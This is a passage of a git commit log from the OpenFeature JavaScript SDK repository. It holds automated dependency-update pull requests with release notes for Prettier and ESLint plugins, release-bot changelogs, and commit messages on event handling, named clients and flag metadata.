<!-- prettier-ignore -->

```jsx
// Input
"use strict" /* comment */;

// Prettier 2.8.1 (with other js parsers except `babel`)
Error: Comment "comment" was not printed. Please report this error!

// Prettier 2.8.2
<Same as input>
```

##### Fix formatting for comments inside JSX attribute
([#&#8203;14082](https://togithub.com/prettier/prettier/pull/14082) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
function MyFunctionComponent() {
  <button label=/*old*/"new">button</button>
}

// Prettier 2.8.1
Error: Comment "old" was not printed. Please report this error!

// Prettier 2.8.2
function MyFunctionComponent() {
  <button label=/*old*/ "new">button</button>;
}
```

##### Quote numeric keys for json-stringify parser
([#&#8203;14083](https://togithub.com/prettier/prettier/pull/14083) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
{0: 'value'}

// Prettier 2.8.1
{
  0: "value"
}

// Prettier 2.8.2
{
  "0": "value"
}
```

##### Fix removing commas from function arguments in maps
([#&#8203;14089](https://togithub.com/prettier/prettier/pull/14089) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

<!-- prettier-ignore -->

```scss
/* Input */
$foo: map-fn(
  (
    "#{prop}": inner-fn($first, $second),
  )
);

/* Prettier 2.8.1 */
$foo: map-fn(("#{prop}": inner-fn($first $second)));

/* Prettier 2.8.2 */
$foo: map-fn(
  (
    "#{prop}": inner-fn($first, $second),
  )
);

```

##### Do not insert space in LESS property access
([#&#8203;14103](https://togithub.com/prettier/prettier/pull/14103) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```less
// Input
a {
  color: @&#8203;colors[@&#8203;white];
}

// Prettier 2.8.1
a {
  color: @&#8203;colors[ @&#8203;white];
}

// Prettier 2.8.2
<Same as input>
```

###
[`v2.8.1`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#&#8203;281)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.0...2.8.1)

[diff](https://togithub.com/prettier/prettier/compare/2.8.0...2.8.1)

##### Fix SCSS map in arguments
([#&#8203;9184](https://togithub.com/prettier/prettier/pull/9184) by
[@&#8203;agamkrbit](https://togithub.com/agamkrbit))

<!-- prettier-ignore -->

```scss
// Input
$display-breakpoints: map-deep-merge(
  (
    "print-only": "only print",
    "screen-only": "only screen",
    "xs-only": "only screen and (max-width: #{map-get($grid-breakpoints, "sm")-1})",
  ),
  $display-breakpoints
);

// Prettier 2.8.0
$display-breakpoints: map-deep-merge(
  (
    "print-only": "only print",
    "screen-only": "only screen",
    "xs-only": "only screen and (max-width: #{map-get($grid-breakpoints, " sm
      ")-1})",
  ),
  $display-breakpoints
);

// Prettier 2.8.1
$display-breakpoints: map-deep-merge(
  (
    "print-only": "only print",
    "screen-only": "only screen",
    "xs-only": "only screen and (max-width: #{map-get($grid-breakpoints, "sm")-1})",
  ),
  $display-breakpoints
);
```

##### Support auto accessors syntax
([#&#8203;13919](https://togithub.com/prettier/prettier/pull/13919) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

Support for [Auto Accessors
Syntax](https://devblogs.microsoft.com/typescript/announcing-typescript-4-9/#auto-accessors-in-classes)
landed in TypeScript 4.9.

(Doesn't work well with `babel-ts` parser)

<!-- prettier-ignore -->

```tsx
class Foo {
  accessor foo: number = 3;
}
```

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xMTUuMiIsInVwZGF0ZWRJblZlciI6IjM1LjEzMS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-06-26 13:14:44 -04:00
renovate[bot] 6147304052
chore(deps): update dependency eslint-config-prettier to v8.8.0 (#460)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-config-prettier](https://togithub.com/prettier/eslint-config-prettier)
| [`8.5.0` ->
`8.8.0`](https://renovatebot.com/diffs/npm/eslint-config-prettier/8.5.0/8.8.0)
|
[![age](https://badges.renovateapi.com/packages/npm/eslint-config-prettier/8.8.0/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/eslint-config-prettier/8.8.0/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/eslint-config-prettier/8.8.0/compatibility-slim/8.5.0)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/eslint-config-prettier/8.8.0/confidence-slim/8.5.0)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/eslint-config-prettier</summary>

###
[`v8.8.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-880-2023-03-20)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v8.7.0...v8.8.0)

- Added:
\[[@&#8203;typescript-eslint/lines-around-comment](https://togithub.com/typescript-eslint/lines-around-comment)].
Thanks to [@&#8203;ttionya](https://togithub.com/ttionya)!

###
[`v8.7.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-870-2023-03-06)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v8.6.0...v8.7.0)

- Added:
\[[@&#8203;typescript-eslint/block-spacing](https://togithub.com/typescript-eslint/block-spacing)].
Thanks to [@&#8203;ttionya](https://togithub.com/ttionya)!
- Added:
\[[@&#8203;typescript-eslint/key-spacing](https://togithub.com/typescript-eslint/key-spacing)].
Thanks to [@&#8203;ttionya](https://togithub.com/ttionya)!

###
[`v8.6.0`](https://togithub.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#Version-860-2023-01-02)

[Compare
Source](https://togithub.com/prettier/eslint-config-prettier/compare/v8.5.0...v8.6.0)

- Added: \[vue/multiline-ternary]. Thanks to
[@&#8203;xcatliu](https://togithub.com/xcatliu)!

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xMTcuMyIsInVwZGF0ZWRJblZlciI6IjM1LjEzMS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-06-26 13:13:36 -04:00
Todd Baert 1dd1e17361
fix: various event handler issues
* fixed an issue where event handlers could be lost when providers updated
* fixed an issue where handlers that throw would inappropriately not be caught
* lazily store event emitters to reduce memory usage

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-06-26 13:00:54 -04:00
renovate[bot] b490cde770
chore(deps): update dependency eslint-plugin-jsdoc to v46 (#442)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`^44.0.0` ->
`^46.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/44.2.2/46.2.6)
|
[![age](https://badges.renovateapi.com/packages/npm/eslint-plugin-jsdoc/46.2.6/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/eslint-plugin-jsdoc/46.2.6/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/eslint-plugin-jsdoc/46.2.6/compatibility-slim/44.2.2)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/eslint-plugin-jsdoc/46.2.6/confidence-slim/44.2.2)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc</summary>

###
[`v46.2.6`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.2.6)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.2.5...v46.2.6)

##### Bug Fixes

- **`imports-as-dependencies`:** do not log missing package.json when
rule is not active; fixes
[#&#8203;1117](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1117)
([3a5dd7d](3a5dd7d9f6))

###
[`v46.2.5`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.2.5)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.2.4...v46.2.5)

##### Bug Fixes

- **`imports-as-dependencies`:** support Node builtins; fixes
[#&#8203;1112](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1112)
([ab00592](ab005925a4))

###
[`v46.2.4`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.2.4)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.2.3...v46.2.4)

##### Bug Fixes

- **`imports-as-dependencies`:** allow relative paths
([7469e59](7469e59e2c))

###
[`v46.2.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.2.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.2.2...v46.2.3)

##### Bug Fixes

- **`imports-as-dependencies`:** catch `typings` as possible publishing
source
([e3b0d0c](e3b0d0c6d4))

###
[`v46.2.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.2.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.2.1...v46.2.2)

##### Bug Fixes

- **`imports-as-dependencies`:** don't report TypeScript proper
([75b6b8c](75b6b8cfe2))

###
[`v46.2.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.2.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.2.0...v46.2.1)

##### Bug Fixes

- **`imports-as-dependencies`:** check for `types` in `package.json` and
if not present, check `[@types](https://togithub.com/types)`; fixes
[#&#8203;1107](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1107)
([785fb26](785fb2668e))

###
[`v46.2.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.2.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.1.0...v46.2.0)

##### Features

- **`imports-as-dependencies`:** add new rule to detect missing
dependencies for import statements; fixes
[#&#8203;896](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/896)
([d7ec6e0](d7ec6e08ac))

###
[`v46.1.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.1.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v46.0.0...v46.1.0)

##### Features

- **`require-returns`:** per-context `forceRequireReturn`; fixes
[#&#8203;757](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/757)
([31b3a24](31b3a24b7e))

###
[`v46.0.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v46.0.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v45.0.0...v46.0.0)

##### Features

- **`no-defaults`:** make no-defaults on by default
([034ade1](034ade1552))

##### BREAKING CHANGES

- **`no-defaults`:** Removes default values. Disable the rule if removal
not desired.

Also:

-   docs: adds info on TS recommended rules

###
[`v45.0.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v45.0.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.7...v45.0.0)

##### Features

- add recommended-typescript-flavor configs
([6042b77](6042b7751f))
- for typescript configs, disable `no-undefined-types`; fixes
[#&#8203;888](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/888)
([ec41b90](ec41b90258))

##### BREAKING CHANGES

- This should only impact users of typescript configs. TS should itself
handle
checking for undefined types, so the (imperfect) rule has been disabled
for
    such users.

###
[`v44.2.7`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.6...v44.2.7)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.6...v44.2.7)

###
[`v44.2.6`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.5...v44.2.6)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.5...v44.2.6)

###
[`v44.2.5`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.4...v44.2.5)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.4...v44.2.5)

###
[`v44.2.4`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.3...v44.2.4)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.3...v44.2.4)

###
[`v44.2.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.2...v44.2.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.2...v44.2.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://app.renovatebot.com/dashboard#github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xMDIuMTAiLCJ1cGRhdGVkSW5WZXIiOiIzNS4xMTcuMyIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-06-15 11:59:09 -04:00
github-actions[bot] 78377d16e5
chore(main): release web-sdk 0.3.4-experimental (#450)
🤖 I have created a release *beep* *boop*
---


##
[0.3.4-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.3-experimental...web-sdk-v0.3.4-experimental)
(2023-06-08)


### Bug Fixes

* updated typedoc config to support monorepos
([#447](https://github.com/open-feature/js-sdk/issues/447))
([05b100d](05b100dca5))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-06-07 21:20:13 -04:00
github-actions[bot] 59779b96b3
chore(main): release js-sdk 1.3.1 (#449)
🤖 I have created a release *beep* *boop*
---


##
[1.3.1](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.3.0...js-sdk-v1.3.1)
(2023-06-08)


### Bug Fixes

* updated typedoc config to support monorepos
([#447](https://github.com/open-feature/js-sdk/issues/447))
([05b100d](05b100dca5))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-06-07 21:04:15 -04:00
Michael Beemer 05b100dca5
fix: updated typedoc config to support monorepos (#447)
## This PR

- updated typedoc config to support monorepos

### Notes

A recent update the Typedoc changed how `packages` work with the
`entryPointStrategy`. The release notes can be found
[here](https://github.com/TypeStrong/typedoc/releases/tag/v0.24.0).

This is a temporary workaround because legacy support will be removed in
0.25.0, according to [the
docs](https://typedoc.org/options/input/#entrypointstrategy).

### Follow-up Tasks

Update the configuration to use a non legacy strategy.

---------

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-06-07 21:02:37 -04:00
Lukas Reining efa1a0dceb
chore: add 0.6.0 examples to README.md (#441)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Adds examples for named providers, events and the global shutdown of
spec 0.6.0.
It does not provide an example for flag metadata, as I think an example
is not needed here.

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #440

### Notes
<!-- any additional notes for this PR -->

### Follow-up Tasks
<!-- anything that is related to this PR but not done here should be
noted under this section -->
<!-- if there is a need for a new issue, please link it here -->

### How to test
<!-- if applicable, add testing instructions under this section -->

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-06-06 12:20:10 -04:00
github-actions[bot] 2a357c7e5f
chore(main): release js-sdk 1.3.0 (#433)
🤖 I have created a release *beep* *boop*
---


##
[1.3.0](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.2.0...js-sdk-v1.3.0)
(2023-06-06)


### Features

* add init/shutdown and events
([#436](https://github.com/open-feature/js-sdk/issues/436))
([5d55ea1](5d55ea1d08))
* add named client support
([#429](https://github.com/open-feature/js-sdk/issues/429))
([310c6ac](310c6ac51e))
* add support for flag metadata
([#426](https://github.com/open-feature/js-sdk/issues/426))
([029ec26](029ec26eb2))


### Bug Fixes

* bundlers wrongly resolving server/client modules
([#445](https://github.com/open-feature/js-sdk/issues/445))
([6acddd5](6acddd5297))
* only shutdown providers that are not attached to any client
([#444](https://github.com/open-feature/js-sdk/issues/444))
([7e469c4](7e469c49ca))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-06-06 12:09:04 -04:00
github-actions[bot] f2887fc7ff
chore(main): release web-sdk 0.3.3-experimental (#432)
🤖 I have created a release *beep* *boop*
---


##
[0.3.3-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.2-experimental...web-sdk-v0.3.3-experimental)
(2023-06-06)


### Features

* add init/shutdown and events
([#436](https://github.com/open-feature/js-sdk/issues/436))
([5d55ea1](5d55ea1d08))
* add named client support
([#429](https://github.com/open-feature/js-sdk/issues/429))
([310c6ac](310c6ac51e))
* add support for flag metadata
([#426](https://github.com/open-feature/js-sdk/issues/426))
([029ec26](029ec26eb2))


### Bug Fixes

* bundlers wrongly resolving server/client modules
([#445](https://github.com/open-feature/js-sdk/issues/445))
([6acddd5](6acddd5297))
* only shutdown providers that are not attached to any client
([#444](https://github.com/open-feature/js-sdk/issues/444))
([7e469c4](7e469c49ca))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-06-06 11:49:10 -04:00
github-actions[bot] f5de2d5129
chore(main): release shared 0.0.4 (#431)
🤖 I have created a release *beep* *boop*
---


##
[0.0.4](https://github.com/open-feature/js-sdk/compare/shared-v0.0.3...shared-v0.0.4)
(2023-06-06)


### Features

* add init/shutdown and events
([#436](https://github.com/open-feature/js-sdk/issues/436))
([5d55ea1](5d55ea1d08))
* add named client support
([#429](https://github.com/open-feature/js-sdk/issues/429))
([310c6ac](310c6ac51e))
* add support for flag metadata
([#426](https://github.com/open-feature/js-sdk/issues/426))
([029ec26](029ec26eb2))


### Bug Fixes

* only shutdown providers that are not attached to any client
([#444](https://github.com/open-feature/js-sdk/issues/444))
([7e469c4](7e469c49ca))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-06-06 11:43:24 -04:00
Todd Baert 6acddd5297
fix: bundlers wrongly resolving server/client modules (#445)
Fixes an issue that can cause bundlers in repos with both the web-sdk
and js-sdk to incorrectly resolve and bundle module components because
both modules use the same global symbols for the API.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-06-06 11:36:14 -04:00
Lukas Reining 7e469c49ca
fix: only shutdown providers that are not attached to any client (#444)
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-06-02 15:39:46 -04:00
Lukas Reining 5d55ea1d08
feat: add init/shutdown and events (#436)
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-05-30 09:18:45 -04:00
Lukas Reining 310c6ac51e
feat: add named client support (#429)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
Implements named client support. #428 

Had to also add the provider status that is defined in the provider
lifecycle and used for events.


### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->
Fixes #428 

### Notes
This feature is part of the recently released v0.6.0 of the OpenFeature
spec.

### Follow-up Tasks
I would after this continue with the events and init/shutdown to round
everything up.

### How to test
Tests are included for both client and server.

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-05-24 16:07:08 -04:00
Michael Beemer 029ec26eb2
feat: add support for flag metadata (#426) 2023-05-24 13:37:31 -04:00
Michael Beemer ec502c26ae
refactor: remove unnecessary promises from client tests (#427) 2023-05-23 12:07:02 -04:00
renovate[bot] d98f8437ed
chore(deps): update dependency jest-junit to v16 (#408)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-05-22 15:17:48 -04:00
renovate[bot] 1ea8ad9c57
chore(deps): update dependency typedoc to ^0.24.0 (#402)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-05-19 10:22:34 -04:00
renovate[bot] f27bade9b4
chore(deps): update dependency eslint-plugin-jsdoc to v44 (#423)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`^40.0.0` ->
`^44.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/40.3.0/44.2.2)
|
[![age](https://badges.renovateapi.com/packages/npm/eslint-plugin-jsdoc/44.2.2/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/eslint-plugin-jsdoc/44.2.2/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/eslint-plugin-jsdoc/44.2.2/compatibility-slim/40.3.0)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/eslint-plugin-jsdoc/44.2.2/confidence-slim/40.3.0)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc</summary>

###
[`v44.2.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.1...v44.2.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.1...v44.2.2)

###
[`v44.2.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.0...v44.2.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.2.0...v44.2.1)

###
[`v44.2.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.1.0...v44.2.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.1.0...v44.2.0)

###
[`v44.1.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.0.2...v44.1.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.0.2...v44.1.0)

###
[`v44.0.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.0.1...v44.0.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.0.1...v44.0.2)

###
[`v44.0.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.0.0...v44.0.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v44.0.0...v44.0.1)

###
[`v44.0.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.2.0...v44.0.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.2.0...v44.0.0)

###
[`v43.2.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.1.1...v43.2.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.1.1...v43.2.0)

###
[`v43.1.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.1.0...v43.1.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.1.0...v43.1.1)

###
[`v43.1.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.9...v43.1.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.9...v43.1.0)

###
[`v43.0.9`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.8...v43.0.9)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.8...v43.0.9)

###
[`v43.0.8`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.7...v43.0.8)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.7...v43.0.8)

###
[`v43.0.7`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.6...v43.0.7)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.6...v43.0.7)

###
[`v43.0.6`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.5...v43.0.6)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.5...v43.0.6)

###
[`v43.0.5`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.4...v43.0.5)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.4...v43.0.5)

###
[`v43.0.4`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.3...v43.0.4)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.3...v43.0.4)

###
[`v43.0.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.2...v43.0.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.2...v43.0.3)

###
[`v43.0.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.1...v43.0.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.1...v43.0.2)

###
[`v43.0.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.0...v43.0.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v43.0.0...v43.0.1)

###
[`v43.0.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v42.0.0...v43.0.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v42.0.0...v43.0.0)

###
[`v42.0.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v41.1.2...v42.0.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v41.1.2...v42.0.0)

###
[`v41.1.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v41.1.1...v41.1.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v41.1.1...v41.1.2)

###
[`v41.1.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v41.1.0...v41.1.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v41.1.0...v41.1.1)

###
[`v41.1.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v41.0.0...v41.1.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v41.0.0...v41.1.0)

###
[`v41.0.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v40.3.0...v41.0.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v40.3.0...v41.0.0)

</details>
